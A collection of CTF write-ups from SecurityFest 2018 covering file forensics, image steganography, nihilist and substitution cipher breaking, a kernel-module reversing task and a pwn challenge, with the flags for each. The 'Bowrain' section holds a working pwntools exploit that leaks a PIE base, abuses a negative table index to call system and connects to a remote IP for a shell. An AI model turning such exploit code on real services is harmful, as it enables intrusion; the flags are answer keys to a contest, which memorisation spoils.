CTFTime link | Website | Challenge Writer Write-ups
- 51 Sanity check
- 495 The last flight of the osiris
- 468 Tracing mr. anderson
- 51 Zion
- 407 All the keys
- 51 Everywhere
- 51 Mr.reagan
- 364 Cypher
- 54 Sshnuke
- 499 Goldrain
- 485 Greenrain
- 261 Bowrain (got the flag just after CTF closed)
- 500 Agent communications
- 485 The note
- 499 Intercepting sentinels
- 51 The oracle
- 51 Screensavers
- 314 Pongdom
- 51 Excesss
- 499 Excesss ii
Description
Flag is in the topic of #securityfest-ctf @ irc.freenode.net
No files provided
Solution
Login to Freenode, /join #securityfest-ctf
, /topic
:
sctf{securityfestctf_2018}
Description
Is this the access codes to the Zion mainframe?. We have only bits and pieces of information.
Files provided
zion.tar.gz
- archive:YouKnow
Solution
After extracting the YouKnow
file, we can see that there are many references to Word, e.g. word/document.xml
. If we make Word open the file, it complains a bit, but it opens it just fine as an Office Open XML document. The contents show some flavour text and a red rabbit:
At first I thought this might be encoding a program in some esoteric language, but I didn't have much hope, since there was very little actual text data shown in the image.
Back to looking at the file in a hex editor, we can first notice that it starts with PK
, just like a zip file. And indeed, we can unzip the file and it contains various XML files, as well as the red rabbit in a media
folder. But there is one more weird thing – if we scroll all the way to the end, we see KP
. And not far behind that, sler./sler_
? In the extracted data, we did get a _rels/.rels
folder. It is reversed, but why? Around the middle of the file we see where the reversal happens, but the mirror images are not exactly the same.
0003820: 0000 382e 0000 776f 7264 2f74 6865 6d65 ..8...word/theme
0003830: 2f74 6865 6d65 312e 786d 6c50 4b01 0214 /theme1.xmlPK...
0003840: 0014 0008 0808 00bc 94b6 4c29 ef3d 8b4a ..........L).=.J
0003850: 0100 0016 0500 0013 0000 0000 0000 0000 ................
0003860: 0000 0000 002f 3400 005b 436f 6e74 656e ...../4..[Conten
0003870: 745f 5479 7065 735d 2e78 6d6c 504b 0506 t_Types].xmlPK..
0003880: 0000 0000 0b00 0b00 c202 0000 ba35 0000 .............5..
0003890: 0000 0000 0000 340e 0000 0303 000c 000c ......4.........
00038a0: 0000 0000 0605 4b50 6c6d 782e 5d73 6570 ......KPlmx.]sep
00038b0: 7954 5f74 6e65 746e 6f43 5b00 0032 7900 yT_tnetnoC[..2y.
00038c0: 0000 0000 0000 0000 0000 0000 1300 0005 ................
00038d0: 9300 0001 54a6 0075 bf4c b694 7c00 0808 ....T..u.L..|...
00038e0: 0800 1400 1402 014b 506c 6d78 2e31 656d .......KPlmx.1em
00038f0: 6568 742f 656d 6568 742f 6472 6f77 0000 eht/emeht/drow..
0003900: 2c82 0000 0000 0000 0000 0000 0000 0015 ,...............
Some of the numbers don't match. So let's finally reverse the file and unzip it again. And indeed, there is another image, but this time showing the flag!
sctf{m41nfr4m3_4cc3ss_c0d3_1337_4lw4s}
Description
Trinity needs help, find the key in time and discover the Matrix.
Files provided
Solution
After extracting the archive, we see that it includes a bunch of files with random 4-character filenames. Looking around with a hexeditor and grep, we can categorise the files into folders as follows:
cert/
- 1 SSL certificate filebinary/
- 66 binary filesec/
- 65 private EC keysempty/
- 28 empty filesrsa/
- 4 private RSA keys
Since the number of private keys and binary files was (more or less) the same, my first attempt was to decrypt the binary files with the private keys we have. I tested at first with the RSA keys, e.g.:
for binary in binary/*; do
for key in rsa/*; do
openssl rsautl -in "$binary" -inkey "$key" -decrypt
done
done
But all of these failed. My working theory was that there would be a 1-to-1 correspondence between the keys and the binary files, so seeing as none of the RSA keys worked on any of the binary files, I tried something else.
Looking more closely at the certificate file, it includes some human-readable data, as well as an encoded certificate representation within -----BEGIN CERTIFICATE-----
and -----END CERTIFICATE-----
. What happens if we make OpenSSL parse this encoded representation? Maybe the encoded data is actually different.
$ openssl x509 -in cert/6c8e -text -noout
The output is pretty much the same, but our original file has some extra data:
Response Single Extensions:
CT Certificate SCTs:
SCT validation status: valid
Signed Certificate Timestamp:
Version : v1 (0x0)
Log : Morpheus Tesfytiruces CT log
Log ID : SE:CF:68:74:74:70:73:3a:2f:2f:6d:69:6b:65:79:2e:
63:74:66:2e:72:6f:63:6b:73:00:00:00:00:00:00:00
Timestamp : Jun 1 08:05:26.276 1999 GMT
Extensions: none
Signature : ecdsa-with-SHA256
13:37:13:37:13:37:13:37:13:37:13:37:13:37:13:37:
13:37:13:37:13:37:13:37:13:37:13:37:13:37:13:37:
13:37:13:37:13:37:13:37:13:37:13:37:13:37:13:37:
13:37:13:37:13:37:13:37:13:37:13:37:13:37:13:37:
13:37:13:37:13:37:13
Interesting. The signature is obviously fake, but looking closely at the log ID, it doesn't look like binary data. And indeed, if we convert 68:74:70:...:6F:63:6B
to ASCII, we get:
https://mikey.ctf.rocks
If we actually try to access the website, it doesn't really work. The server is saying 400 No required SSL certificate was sent
. We need to send a certificate TO the server? Apparently there is a thing called client certificates, where the server requests that the client sends a certificate. Very useful information, and we can now guess that the certificate we have is not the server certificate, but a client certificate we need to provide. But naturally, there is only a public key in the certificate:
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (256 bit)
pub:
04:65:18:ab:8d:b3:c5:d4:65:f1:65:f0:85:08:1c:
56:63:18:47:ad:38:b3:3e:b7:36:57:bd:e4:15:eb:
f8:81:4d:c0:ed:43:32:9b:52:82:47:8c:97:e1:5f:
96:a5:1b:e0:63:75:1b:6d:fb:42:40:a1:65:08:93:
83:94:80:7b:eb
ASN1 OID: prime256v1
To make this work we need the private key. Luckily we have dozens of them. Let's extract the public keys from all of our RSA keys:
for key in rsa/*; do
openssl rsa -in "$key" -text -noout
done
Nope, how about the EC keys?
for key in ec/*; do
openssl ec -in "$key" -text -noout
done
No luck! So what about the binary files? Now that we have a server to access, we will probably find the flag on the server, not in the files. If we look at all the binary files in a hexeditor, we can notice something – every single one of them starts with an ASCII 0
. Sounds familiar.
Binary DER-encoded format. This is sometimes called ASN.1 BER-encoded (there is a subtle difference between BER- and DER-encodings: DER is just a stricter subset of BER). The most compact form. If you try to view the file with a text editor it is full of "funny" characters. The first character in the file is almost always a '0' character (0x30).
So let's extract the public keys from these as well:
for key in binary/*; do
openssl ec -in "$key" -inform DER -text -noout
done
One of them in particular is useful:
$ openssl ec -in binary/ddcb -inform DER -text -noout
read EC key
Private-Key: (256 bit)
priv:
13:75:f1:f0:66:84:74:e5:5e:f4:03:2b:e3:92:38:
39:47:8d:10:e4:10:c4:2d:0d:a3:36:7b:21:e4:a7:
25:53
pub:
04:65:18:ab:8d:b3:c5:d4:65:f1:65:f0:85:08:1c:
56:63:18:47:ad:38:b3:3e:b7:36:57:bd:e4:15:eb:
f8:81:4d:c0:ed:43:32:9b:52:82:47:8c:97:e1:5f:
96:a5:1b:e0:63:75:1b:6d:fb:42:40:a1:65:08:93:
83:94:80:7b:eb
ASN1 OID: prime256v1
NIST CURVE: P-256
The pub
section matches what we have in our client certificate. I tried for a bit to make curl
work with the certificate + the private key (converted to PEM format), but no luck, the server kept responding with the same error. So:
openssl s_client -key binary/ddcb -cert cert/6c8e -connect mikey.ctf.rocks:443
And indeed, we are flooded with HTML. After opening this, we see a nice ASCII art image, and the flag hiding among the text!
sctf{th3_M4tr1x_1s_4_5y5t3m_N30}
Description
Too much information to decode.
Files provided
everywhere.tar.gz
- containingeverywhere
, a JPEG file
Solution
The JPEG shows some typical matrix-y green text visuals. Looking at the EXIF chunks, metadata, and hexdump reveals nothing of interest. Apparently this is just a JPEG image and nothing more. Based on the hint I tried to extend the canvas of the JPEG image, but no, there is just enough data encoded to fill the canvas.
Since the challenge is called everywhere, let's look everywhere. The background video playing on the actual CTF submission server is also matrix-y. But it also seems very much like an excerpt from an actual movie (Animatrix maybe?), so modifying that to include the flag would be a lot of effort.
How about the Internet? Using a reverse image search, we can search for the picture we have. And there are many matches. Some of them match the dimensions of our file exactly – 960x678. The matches are found on regular websites, it would be impossible to sneak a flag in there and expect people to find it. So after downloading a matching image from the Internet, we can compare it to the one we've been given. Putting the two in Photoshop one on top of the other, we can use the "Difference" blending mode to only see where the images don't match. And indeed, there is a single line that was added, here made somewhat brigther (hopefully more readable):
sctf{y0u_411_100k_th3_54m3_t0_m3}
(I wonder if anybody solved this by just noticing the flag in the given image.)
Description
Agent Smith got this from Mr. Reagan, a EMP was activated nearby, or?
Files provided
mrreagan.tar.gz
- containingmrreagan
, a 50 MiB disk image
Solution
After mounting the image, we see that it is an NTFS filesystem. We can see the $RECYCLE.BIN
folder, the System Volume Information
folder, but also an EFSTMPWP
. If we search for EFSTMPWP
, we find it is an artefact of using Cipher on Windows to erase data from empty space on a filesystem, thereby making it irrecoverable (unlike just unlinking a file). So this would be the EMP that the challenge description mentions. But the description also has a question mark!
We can open the image in Autopsy, always useful for Windows forensics. And indeed, there are some orphan files:
All of these show some ASCII data that looks quite like Base64. One of them in particular produces sctf{
after decoding, so clearly this is the right direction. But some of the others produce garbage? Let's extract the five files.
$ cat export/*
c2N0ZnszbD
NjdHIwbTRn
bjN0MWNfcH
VsNTNfdzRz
X2Y0azN9Cg
$ cat export/* | base64 -D
sctf{3l3ctr0m4gn3t1c_pul53_w4s_f4k3}
And now it works. The problem was that the Base64 data first needed to be concatenated, then decoded, otherwise the decoded bits were offset.
sctf{3l3ctr0m4gn3t1c_pul53_w4s_f4k3}
Description
This your last chance. After this there is no turning back. You take the blue pill, the story ends. You wake up in your bed and believe whatever you want to. You take the red pill, you stay in Wonderland, and I show you how deep the rabbit hole goes. Remember, all I'm offering is the truth. Nothing more. This challenge was sponsored by ATEA! If you are a local student player you are eligible to turn in the flag at the ATEA booth for a prize!
Files given
bluepill.tar.gz
- archive containingbluepill.ko
init
run.sh
tiny.kernel
Solution
A kernel object is given, which I am not very familiar with, however, pill_choice
is the critical function, obviously.
The basic logic is to get input from function strncpy_from_user
, and test the input.
v5 = file_open("/proc/version");
if ( v5 )
{
v6 = v5;
file_read(v5, (unsigned __int8 *)magic, 0x1F4u);
v7 = v6;
v8 = &choice_35697;
filp_close(v7, 0LL);
if ( strlen((const char *)&choice_35697) > 0xB )
{
v9 = checks_35680;
while ( 1 )
{
v10 = 0LL;
memset(&v21, 0, 0x19uLL);
*(_QWORD *)digest = 0LL;
v19 = 0LL;
s2 = 0LL;
calc(v8, 4uLL, digest); //calculate md5 for 4 bytes
do
{
v11 = magic[v10];
v12 = digest[v10];
v13 = 2 * v10++;
sprintf((char *)&s2 + v13, "%02x", v11 ^ v12);
}
while ( v10 != 16 );
if ( memcmp(v9, &s2, 0x20uLL) )
break;
v8 += 4;
v9 += 33;
if ( v8 == &choice_35697 + 12 )
{
printk(&success);
//...
The length of string must be larger than 11, and then only 12 bytes are useful, which are grouped as 4 bytes and their md5 are calculated. To know calc
is calculating md5, simply inspect the constants and global array data used and search them on google. However, in some other reverse challenges the hash algorithm may be modified, so this approach can't be 100% sure.
Then the md5 hashes will be xor
with the content from /proc/version
, then compare with the
.data:0000000000000800 checks_35680 db '40369e8c78b46122a4e813228ae8ee6e',0
.data:0000000000000821 aE4a75afe114e44 db 'e4a75afe114e4483a46aaa20fe4e6ead',0
.data:0000000000000842 a8c3749214f4a91 db '8c3749214f4a9131ebc67e6c7a86d162',0
so to get md5 hashes, simply xor
the hex above with content in /proc/version
, as shown.
import hashlib
from pwn import *
proc_version = "Linux version 4.17.0-rc4+ (likvidera@ubuntu) (gcc version 7.2.0 (Ubuntu 7.2.0-8ubuntu3.2)) #9 Sat May 12 12:57:01 PDT 2018"
# obtained from cat /proc/version within the kernel given
keys = ["40369e8c78b46122a4e813228ae8ee6e", "e4a75afe114e4483a46aaa20fe4e6ead", "8c3749214f4a9131ebc67e6c7a86d162"]
def get_hashes():
ret = []
for i in xrange(0,3):
one_hashes = ""
hex_data = keys[i].decode("hex")
for i in xrange(0,len(hex_data)):
one_hashes += chr(ord(proc_version[i]) ^ ord(hex_data[i]))
ret.append(one_hashes)
return ret
def md5(string):
m = hashlib.md5()
m.update(string)
return m.digest()
hashes = get_hashes()
for i in xrange(0, 3):
print "".join("{:02x}".format(ord(c)) for c in hashes[i])
#0c5ff0f900941747d69b7a4de4c8da40
#a8ce348b696e32e6d619c34f906e5a83
#c05e2754376ae75499b5170314a6e54c
#crack the md5 using this website https://cmd5.org/
#g1Mm3Th3r3D1
However, this is not the flag, obtain the flag by accessing the kernel object.
$ echo "g1Mm3Th3r3D1" > /proc/bluepill
$ cat flag
Description
A little known fact about Elon Musk is that he invented the matrix as a scheme to sell trendy late 90s screensavers to fund his space adventures. That sneaky SOB left his beta screensaver app online and I think it has a backdoor.
Service: nc pwn2.trinity.neo.ctf.rocks 54321 | nc 159.65.80.92 54321
Files given
bowrain.tar.gz
Solution
- no null termination in function
sub_CB0
, which is used to get a string, so PIE base address can be leaked. abs(INT_MIN)
is still a negative numberx % n
is negative when x is negative
in function main
while ( 1 )
{
v4[0] = get_number();
if ( v4[0] == -1 )
{
printf("\x1B[31;1merror:\x1B[0m not a number: %s\n", ::a1, *(_QWORD *)v4, v5);
// leak PIE possible
}
else
{
v4[1] = abs(v4[0]) % 7;//can be negative if v4[0] is 2147483648
memset(::a1, 0, endptr - (char *)::a1);
v3 = (void (__fastcall *)(char *, _QWORD))*(&off_2030A0 + v4[1]);
//will access a function pointer that can be manipulated by input if negative
v3(++endptr, 0LL);
//++endptr will point to the address just after the null terminator of input
}
print_choice();
and in .data
.data:0000000000203020 a1 db 30h, 7Fh dup(0)
.data:00000000002030A0 off_2030A0 dq offset sub_AE0
.data:00000000002030A8 dq offset sub_B1A
.data:00000000002030B0 dq offset sub_B54
.data:00000000002030B8 dq offset sub_B8E
.data:00000000002030C0 dq offset sub_BC8
.data:00000000002030C8 dq offset sub_C02
.data:00000000002030D0 dq offset sub_C3C
buffer that holds the input is contiguous with the function pointers.
First of all, since there is no null termination, we can leak address of sub_AE0
to get base address.
Secondly, if the index to access the function pointer table is negative, we can hijack the control flow to function system
.
from pwn import *
g_local=False
#context.log_level='debug'
if g_local:
sh = process('./bowrain')#env={'LD_PRELOAD':'./libc.so.6'}
gdb.attach(sh)
else:
sh = remote("159.65.80.92", 54321)
sh.send("A" * 0x80 + "\n")
sh.recvuntil("A" * 0x80)
leak = sh.recvuntil(": ")[:6] + "\x00\x00"
base = u64(leak) - 0xAE0
print hex(base)
payload = "2147483648" + "\x00" + "/bin/sh\x00"
payload += "A" * 5
assert len(payload) == 0x18
payload += ((0x80 - len(payload)) / 8) * p64(base + 0x958)
# spray the address of system,
# so any access of function pointer table with negative index > -7 (by % operation)
# will give address of system
# excact number can be determined by debugging, but spraying is more convinient
sh.send(payload + "\n")
sh.interactive()
Description
I found this strange string of numbers inside a copy of Отцы и дети by Ива́н Серге́евич Турге́нев that Cypher left inside a postbox. Can you help me figure out what it is? NOTE: the flag is not encoded in the usual format, enter it as sctf{FLAG} with the flag in caps
Files given
emsg.tar.gz
- containing the cipher textemsg.txt
, with 682 pairs of decimal digits separated by spaces
Solution
Given the hint mentioning a book and the cipher text being small numbers, my first thought was that this is a book cipher. I made several attempts:
- using the original Russian text
- number = word in text, take first letter of word
- number = letter in text
- same with English text
But all of it looked rather nonsensical. At this point there were still no solves, and the admin of the challenge hinted that "knowing what the book was about is useful". So having a look at the Wikipedia page, we see that the central theme is basically ... nihilism. Is this a key? A crib?
While exploring some cryptography pages on Wikipedia for some other challenges, I noticed something in the classical cryptography section: Nihilist cipher! Sounds like exactly what we need. I fumbled about a bit still trying to solve it like a substitution cipher for some reason, but then I looked into how to break the cipher properly. I plotted the frequency of each number in the cipher text:
0 1 2 3 4 5 6 7 8 9
-----------------------------------------------
0 | 0 0 0 0 0 0 0 0 0 0
1 | 0 0 0 0 0 0 0 0 0 0
2 | 0 0 0 0 4 5 10 6 0 0
3 | 0 0 2 8 17 9 5 2 1 0
4 | 0 0 2 8 22 43 43 26 3 0
5 | 0 0 4 20 21 19 25 24 21 10
6 | 0 0 4 4 28 36 36 15 23 0
7 | 4 0 0 7 30 13 11 28 4 2
8 | 7 0 0 13 3 8 15 11 0 9
9 | 2 0 0 1 2 1 2 2 0 1
(Here I was trying to assign the 43 to the most common English letter, and so on, but that is clearly not the right approach.)
It is notable that there are no low numbers, and it seems like the lower right corner is actually a continuation (i.e. overflow). This all makes sense with the nihilist cipher, which works like this:
- a 5x5 polybius square is created based on a keyword - basically a substitution alphabet with 25 letters, where each letter in the cipher text is identified by its row and column in the square
- the plain text is encoded into numbers using the polybius square
- the key (another one) is also encoded into numbers using the polybius square
- the cipher text is created by taking each number from step 2 and adding it to a number from step 3, repeating the key numbers periodically as needed
There are some serious flaws in the cipher like this. In particular:
- a substitution cipher is trivially broken if we have enough data (the cipher text is quite long here), or we have cribs (we have that as well), or we know that the plain text is English (a fair assumption)
- any of the numbers from steps 2 and 3 have to be valid polybius square coordinates, i.e.
1 ≤ row ≤ 5
,1 ≤ column ≤ 5
, so24
is a valid coordinate, while30
is not
With this in mind, we can start breaking the cipher. The first step is to get rid of the additive key. We can try to find out what the key length is before doing anything else (see SUCTF writeup - cycle), and this is what I did during the CTF. But as it turns out, it is unnecessary.
The process is as follows:
- for each possible key length
Nk
,1, 2, ...
- put the cipher data into
Nk
columns - for each column
i
(corresponding to a single key character)- for each possible key character value
k[i]
that is a valid polybius coordinate11, 12, 13, 14, 15, 21, ..., 55
- subtract
k[i]
from all values in columni
- if they are all valid polybius coordinates, this is a possible value for
k[i]
- subtract
- for each possible key character value
- if all
k[i]
s are valid, this is a valid key (and we can stop)
- put the cipher data into
With a shorter cipher text, there might be some ambiguity with respect to key selection. But basically, if the plain text for each column for a given key length includes 11
and 55
, or 51
and 15
, i.e. opposite corners of the original polybius square, then the key value we choose for that column is unique, and any other key value would result in the plain text being outside the polybius square.
Our cipher text is long enough and the shortest key we can find to uniquely place all of the plain text within valid polybius coordinates is:
21, 33, 45, 13, 42, 32, 33, 33
We don't know what this key is without breaking the polybius square, but we will soon find out. After removing this additive key from the cipher text, we are left with:
12 41 52 31 41 34 32 12 34 14 54 22 41 35 22 13 44 35 32 14 34 34 44 44 13
14 25 14 35 12 31 13 44 13 21 13 33 15 35 41 52 35 14 11 22 54 42 31 13 44
14 11 54 41 45 34 32 25 31 12 15 35 41 52 32 31 14 51 13 21 13 13 35 41 45
12 11 32 23 13 12 31 13 34 14 12 44 32 53 24 41 44 35 32 35 13 54 13 14 44
11 32 14 34 14 33 11 41 14 34 13 34 21 13 44 41 24 34 41 44 42 31 13 45 11
22 44 13 52 14 35 23 22 14 35 31 13 33 42 54 41 45 24 32 35 23 14 33 33 14
21 41 45 12 31 32 11 52 31 13 44 13 14 21 41 45 12 11 32 52 41 45 33 23 33
32 15 13 12 41 24 41 44 25 13 12 14 21 41 45 12 12 31 32 11 31 41 44 44 32
21 33 13 52 41 44 33 23 14 35 23 21 13 14 21 33 13 12 41 25 13 12 21 14 22
15 12 41 12 31 13 34 14 12 44 32 53 11 41 12 31 14 12 32 22 14 35 13 35 32
41 54 12 31 13 44 13 11 12 41 24 34 54 33 32 24 13 32 35 12 31 32 11 14 34
14 55 32 35 25 52 41 44 33 23 32 33 41 35 25 12 41 13 35 32 41 54 14 25 14
32 35 12 31 13 44 13 33 14 53 32 35 25 14 35 23 33 13 11 11 11 12 44 13 11
11 24 45 33 33 32 24 13 12 31 14 12 12 31 13 34 14 12 44 32 53 42 44 41 51
32 23 13 11 14 35 23 14 33 33 12 31 41 11 13 33 32 12 12 33 13 33 45 53 45
44 32 13 11 12 31 14 12 11 32 34 42 33 54 23 41 35 41 12 13 53 32 11 12 32
35 12 31 13 44 13 14 33 52 41 44 33 23 14 35 54 34 41 44 13 32 24 54 41 45
14 44 13 52 32 33 33 32 35 25 12 41 35 13 25 41 12 32 14 12 13 42 33 13 14
11 13 33 13 14 51 13 14 35 41 12 13 52 32 12 31 12 31 13 12 32 34 13 14 35
23 42 33 14 22 13 12 41 31 41 33 23 11 45 22 31 14 34 13 13 12 32 35 25 32
35 11 32 23 13 14 35 13 35 51 13 33 41 42 13 33 14 21 13 33 33 13 23 11 22
12 24 53 12 31 13 34 14 12 44 32 53 22 14 35 21 13 34 41 44 13 44 13 14 33
12 31 14 35 12 31 32 11 52 41 44 33 23 53 41 35 12 31 13 22 44 41 11 11 52
14 54 21 13 12 52 13 13 35 12 31 13 52 14 21 14 11 31 14 35 23 13 44 32 13
14 12 11 13 51 13 35 41 22 33 41 22 15 32 35 12 31 13 14 24 12 13 44 35 41
41 35 32 14 34 14 35 53 32 41 45 11 33 54 52 14 32 12 32 35 25 24 41 44 54
41 45 44 42 44 41 34 42 12 44 13 42 33 54 54 41 45 44 11 12 44 45 33 54 34
44 44 13 14 25 14 35
(So now you can see all of the numbers are valid polybius coordinates.)
Despite using two-digit numbers, there are really only 25 unique values, so this is a substitution cipher. The most common value in any text is generally 0x20
, a space character. However, when using a polybius square, there are only 25 characters to choose from, so the spaces are omitted, along with any punctuation or indication of letter case. I
and J
are generally merged, since the latter is quite rare in English text.
We can refer to a frequency table like this to gain a lot of useful insight as to what we might expect to see in the plain text. In particular, the letters appearing in the plain text will likely be "ETAOINSH...", with the most frequent letter first. We will consider "THE" to be a crib, and the most common trigram / three-letter sequence in the plain text. With the crib only, we construct a temporary polybius square:
a T E d e
f g h i k
H m n o p
q r s t u
v w x y z
This also has the advantage that many of the later letters might already be in their correct position, as long as the keyword doesn't use them (this is why "ZEBRA" shown as an example on the Wikipedia page for the nihilist cipher is a good keyword). Then we deduce letters one at a time to make sense of the plain text. At some point knowing the plot of The Matrix helps, and we can find the relevant section in the film's script.
(full script with interactive decoding here)
--- Interactive decode mode ---
Current square:
a T E d e
f g h i k
H m n o p
q r s t u
v w x y z
Frequency chart:
33 61 82 62 5
14 14 18 12 13
33 50 41 23 46
55 11 0 43 17
5 16 10 17 1
Current plain text:
TqwHqomTodygqpgEtpmdoottEdkdpTHEtEfEnepqwpdagyrHEtdayquomkHTepqwmHdvEfEEpquTamhETHEodTtmxiqtpmpEyEdtamdodnaqdoEofEtqioqtrHEuagtEwdphgdpHEnryquimphdnndfquTHmawHEtEdfquTamwqunhnmeETqiqtkETdfquTTHmaHqttmfnEwqtnhdphfEdfnETqkETfdgeTqTHEodTtmxaqTHdTmgdpEpmqyTHEtEaTqioynmiEmpTHmadodzmpkwqtnhmnqpkTqEpmqydkdmpTHEtEndxmpkdphnEaaaTtEaaiunnmiETHdTTHEodTtmxrtqvmhEadphdnnTHqaEnmTTnEnuxutmEaTHdTamornyhqpqTExmaTmpTHEtEdnwqtnhdpyoqtEmiyqudtEwmnnmpkTqpEkqTmdTErnEdaEnEdvEdpqTEwmTHTHETmoEdphrndgETqHqnhaugHdoEETmpkmpamhEdpEpvEnqrEndfEnnEhagTixTHEodTtmxgdpfEoqtEtEdnTHdpTHmawqtnhxqpTHEgtqaawdyfETwEEpTHEwdfdaHdphEtmEdTaEvEpqgnqgempTHEdiTEtpqqpmdodpxmquanywdmTmpkiqtyqutrtqorTtErnyyqutaTtunyottEdkdp
Replace: d
With: a
Current square:
a T E A e
f g h i k
H m n o p
q r s t u
v w x y z
Frequency chart:
33 61 82 62 5
14 14 18 12 13
33 50 41 23 46
55 11 0 43 17
5 16 10 17 1
...
...
...
Current square:
S T E A K
B C D F G
H I L M N
O P s R U
V W X Y z
Frequency chart:
33 61 82 62 5
14 14 18 12 13
33 50 41 23 46
55 11 0 43 17
5 16 10 17 1
Current plain text:
TOWHOMITMAYCONCERNIAMMRREAGANTHEREBELKNOWNASCYPHERASYOUMIGHTKNOWIHAVEBEENOUTSIDETHEMATRIXFORNINEYEARSIAMALSOAMEMBEROFMORPHEUSCREWANDCANHELPYOUFINDALLABOUTHISWHEREABOUTSIWOULDLIKETOFORGETABOUTTHISHORRIBLEWORLDANDBEABLETOGETBACKTOTHEMATRIXSOTHATICANENIOYTHERESTOFMYLIFEINTHISAMAzINGWORLDILONGTOENIOYAGAINTHERELAXINGANDLESSSTRESSFULLIFETHATTHEMATRIXPROVIDESANDALLTHOSELITTLELUXURIESTHATSIMPLYDONOTEXISTINTHEREALWORLDANYMOREIFYOUAREWILLINGTONEGOTIATEPLEASELEAVEANOTEWITHTHETIMEANDPLACETOHOLDSUCHAMEETINGINSIDEANENVELOPELABELLEDSCTFXTHEMATRIXCANBEMOREREALTHANTHISWORLDXONTHECROSSWAYBETWEENTHEWABASHANDERIEATSEVENOCLOCKINTHEAFTERNOONIAMANXIOUSLYWAITINGFORYOURPROMPTREPLYYOURSTRULYMRREAGAN
Replace: z
With: z
Current square:
S T E A K
B C D F G
H I L M N
O P s R U
V W X Y Z
Frequency chart:
33 61 82 62 5
14 14 18 12 13
33 50 41 23 46
55 11 0 43 17
5 16 10 17 1
Current plain text:
TOWHOMITMAYCONCERNIAMMRREAGANTHEREBELKNOWNASCYPHERASYOUMIGHTKNOWIHAVEBEENOUTSIDETHEMATRIXFORNINEYEARSIAMALSOAMEMBEROFMORPHEUSCREWANDCANHELPYOUFINDALLABOUTHISWHEREABOUTSIWOULDLIKETOFORGETABOUTTHISHORRIBLEWORLDANDBEABLETOGETBACKTOTHEMATRIXSOTHATICANENIOYTHERESTOFMYLIFEINTHISAMAZINGWORLDILONGTOENIOYAGAINTHERELAXINGANDLESSSTRESSFULLIFETHATTHEMATRIXPROVIDESANDALLTHOSELITTLELUXURIESTHATSIMPLYDONOTEXISTINTHEREALWORLDANYMOREIFYOUAREWILLINGTONEGOTIATEPLEASELEAVEANOTEWITHTHETIMEANDPLACETOHOLDSUCHAMEETINGINSIDEANENVELOPELABELLEDSCTFXTHEMATRIXCANBEMOREREALTHANTHISWORLDXONTHECROSSWAYBETWEENTHEWABASHANDERIEATSEVENOCLOCKINTHEAFTERNOONIAMANXIOUSLYWAITINGFORYOURPROMPTREPLYYOURSTRULYMRREAGAN
The polybius square is based on the keyword STEAK
- very cipher-like. We can now decode the key:
21, 33, 45, 13, 42, 32, 33, 33
B L U E P I L L
And here is the decoded plain text with whitespace and some punctuation inserted:
TO WHOM IT MAY CONCERN,
I AM MR. REAGAN, THE REBEL KNOWN AS CYPHER. AS YOU MIGHT KNOW, I HAVE BEEN OUTSIDE THE MATRIX FOR NINE YEARS. I AM ALSO A MEMBER OF MORPHEUS' CREW AND CAN HELP YOU FIND ALL ABOUT HIS WHEREABOUTS. I WOULD LIKE TO FORGET ABOUT THIS HORRIBLE WORLD AND BE ABLE TO GET BACK TO THE MATRIX SO THAT I CAN ENIOY THE REST OF MY LIFE IN THIS AMAZING WORLD. I LONG TO ENIOY AGAIN THE RELAXING AND LESS STRESS FUL LIFE THAT THE MATRIX PROVIDES AND ALL THOSE LITTLE LUXURIES THAT SIMPLY DO NOT EXIST IN THE REAL WORLD ANYMORE. IF YOU ARE WILLING TO NEGOTIATE, PLEASE LEAVE A NOTE WITH THE TIME AND PLACE TO HOLD SUCH A MEETING INSIDE AN ENVELOPE LABELLED:
SCTFXTHEMATRIXCANBEMOREREALTHANTHISWORLDX
ON THE CROSSWAY BETWEEN THE WABASH AND ERIE AT SEVEN O'CLOCK IN THE AFTERNOON. I AM ANXIOUSLY WAITING FOR YOUR PROMPT REPLY.
YOURS TRULY,
MR. REAGAN
(Note ENIOY
spelled without the J
.)
sctf{THEMATRIXCANBEMOREREALTHANTHISWORLD}
Description
The Oracle gave me this note. She mentioned it uses a substitution cipher. She also reminded me that there is no flag.
Files given
oracle.tar.gz
- archive containingemsg.txt
looking like binary data
Solution
The file we have been given indeed is just some text encrypted using a substitution cipher. See above for how to approach this. The difference for this one is that there are more distinct values, since we are not limited to a polybius square. As such, the most common character is most likely 0x20
, a space. Replacing the most common occurring character 0x68
with 0x20
and everything else with question marks, we get:
???? ????????????? ???? ??? ?? ???? ???? ??? ???????? ???? ??? ???? ?? ????? ????? ????? ??? ????????? ???? ???????? ?????????? ?????? ??????? ?? ????? ???????????? ??? ???? ????? ??????? ??????? ???????????????????????????????????????????????????????????????????? ?????????? ???????
Which seems fairly good, all of these could easily be English words. The only one that stands out is the 68 character one - the flag. We should exclude that for our frequency analysis.
I did try using the
as a crib for this one, but this failed. As you'll soon see, the text doesn't actually include this word. So instead, we just use letter frequencies and deduction.
(interactive decoder script here)
--- Interactive decode mode ---
Frequency chart:
0 1 2 3 4 5 6 7 8 9 A B C D E F
0 0 0 0 0 0 0 0 2 0 1 1 0 1 0 0 0
1 0 4 0 0 0 0 0 12 0 0 0 0 3 1 0 1
2 12 14 0 0 18 3 14 14 0 9 2 2 9 18 4 5
3 0 5 0 1 0 1 0 0 1 0 11 12 11 11 3 6
4 0 0 10 0 0 0 0 0 0 0 0 0 0 0 0 0
5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
6 0 0 0 0 3 0 4 0 33 0 0 0 0 0 0 0
7 0 0 0 0 0 0 0 1 3 8 0 0 4 1 0 4
8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
A 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
B 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
C 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
D 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
E 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
F 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Current plain text:
0 1 2 3 4 5 6 7 8 9 | 0 1 2 3 4 5 6 7 8 9
0 ? ? ? ? ? ? ? ? ? | 0C 2D 29 3A 68 1C 3A 21 26 21
10 ? ? ? ? ? ? ? ? ? | 3C 31 64 42 42 11 27 3D 68 3F
20 ? ? ? ? ? ? ? ? | 21 24 24 68 2F 2D 3C 68 21 26
30 ? ? ? ? ? ? ? ? | 68 24 27 3E 2D 68 3F 21 3C 20
40 ? ? ? ? ? ? ? ? | 68 1C 20 2D 68 07 26 2D 66 42
